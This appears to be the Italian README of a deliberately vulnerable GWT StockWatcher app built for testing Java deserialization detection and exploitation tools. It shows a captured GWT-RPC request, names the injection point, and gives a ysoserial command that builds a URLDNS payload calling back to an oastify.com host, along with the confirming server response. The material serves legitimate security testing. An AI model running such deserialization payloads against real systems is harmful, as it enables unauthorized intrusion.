
Un'applicazione web basata su GWT, intenzionalmente vulnerabile, per testare strumenti e tecniche
Questa è una versione dell'applicazione di esempio StockWatcher descritta nella guida introduttiva di GWT modificata per utilizzare la funzionalità "enhanced classes" di GWT, il che la rende vulnerabile a un attacco di deserializzazione Java. Dovrebbe essere usata solo per testare strumenti di rilevamento e sfruttamento. Le classi potenziate sono comunemente usate nelle applicazioni reali basate su GWT, ma fino alla pubblicazione di questo esempio non esistevano applicazioni web open source facilmente reperibili che i professionisti della sicurezza potessero utilizzare per validare i propri strumenti e le proprie procedure.
Per eseguire l'applicazione web, è necessario un sistema Linux con i seguenti strumenti:
openjdk-11-jreant (installarlo tramite il gestore pacchetti della propria distribuzione)L'applicazione richiede una serie di file JAR troppo grandi per essere inclusi direttamente nel repository GitHub, quindi il modo più semplice per iniziare è scaricare l'ultimo pacchetto dalla pagina delle release ed estrarlo.
Dopo aver estratto la release, modificare questa riga in build.xml per sostituire /home/user/GWT/gwt-2.10.0 con la directory del proprio GWT SDK:
Dalla directory del codice sorgente, eseguire i seguenti comandi:
ant build
ant devmode
Questo avvierà l'applicazione web vulnerabile e la renderà accessibile all'indirizzo http://127.0.0.1:8888/StockWatcher.html.
Nota: se si inoltra il traffico al servizio locale per renderlo accessibile da remoto, è necessario inoltrare anche la porta 9876 oltre alla 8888.
Se si desidera clonare questo repository ed eseguire l'applicazione senza scaricare una release, dopo la clonazione è necessario scaricare e aggiungere i seguenti file JAR di terze parti nella directory lib:
Dovrete anche copiare i seguenti file JAR di GWT dalla directory di GWT (ad es. gwt-2.10.0/) nella directory lib di questa applicazione vulnerabile:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarDopo aver copiato tutti questi file JAR, eseguire gli altri passaggi della sezione Avvio rapido precedente.
Utilizzando un browser web configurato per connettersi tramite un proxy di intercettazione (come Burp Suite), caricare l'URL http://127.0.0.1:8888/StockWatcher.html.
La pagina mostrerà inizialmente un messaggio di "compilazione" (compiling). Attendere finché non visualizza questo modulo di base:
Inserire una stringa breve nel campo, ad esempio BFOX, quindi fare clic sul pulsante Add. La pagina dovrebbe iniziare a mostrare aggiornamenti casuali per il simbolo azionario simulato:
Nella cronologia del proxy di intercettazione, noterete che il browser sta ora inviando ripetutamente richieste POST a http://127.0.0.1:8888/stockwatcher/checkCustomClass1, simili alla seguente:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
I dati binari codificati in Base64 rO0ABXcEAAAAAA== rappresentano un punto di iniezione vulnerabile nella richiesta. Per sfruttare l'applicazione web, è necessario generare un payload sostitutivo. Ad esempio, per generare un payload URLDNS utilizzando la versione personalizzata di ysoserial di Bishop Fox, si può eseguire il seguente comando:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Inviare una versione modificata della richiesta che sostituisca rO0ABXcEAAAAAA== con il payload generato; l'applicazione vulnerabile dovrebbe deserializzarlo e attivarlo. Oltre a qualsiasi azione causata dal payload, la risposta dovrebbe includere anche una NoSuchFieldException relativa al nome del campo se il valore è stato deserializzato, ad esempio usando il nome bishopfox dell'esempio precedente:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Se avete utilizzato la release precompilata dell'applicazione web vulnerabile, o avete aggiunto manualmente tutti i JAR sopra citati a una build personalizzata, dovreste (come minimo) essere in grado di utilizzare i seguenti payload contro l'applicazione web:
Al momento della stesura di questo documento, la versione principale di ysoserial non supportava l'output in formato GWT, quindi assicuratevi di utilizzare il fork personalizzato.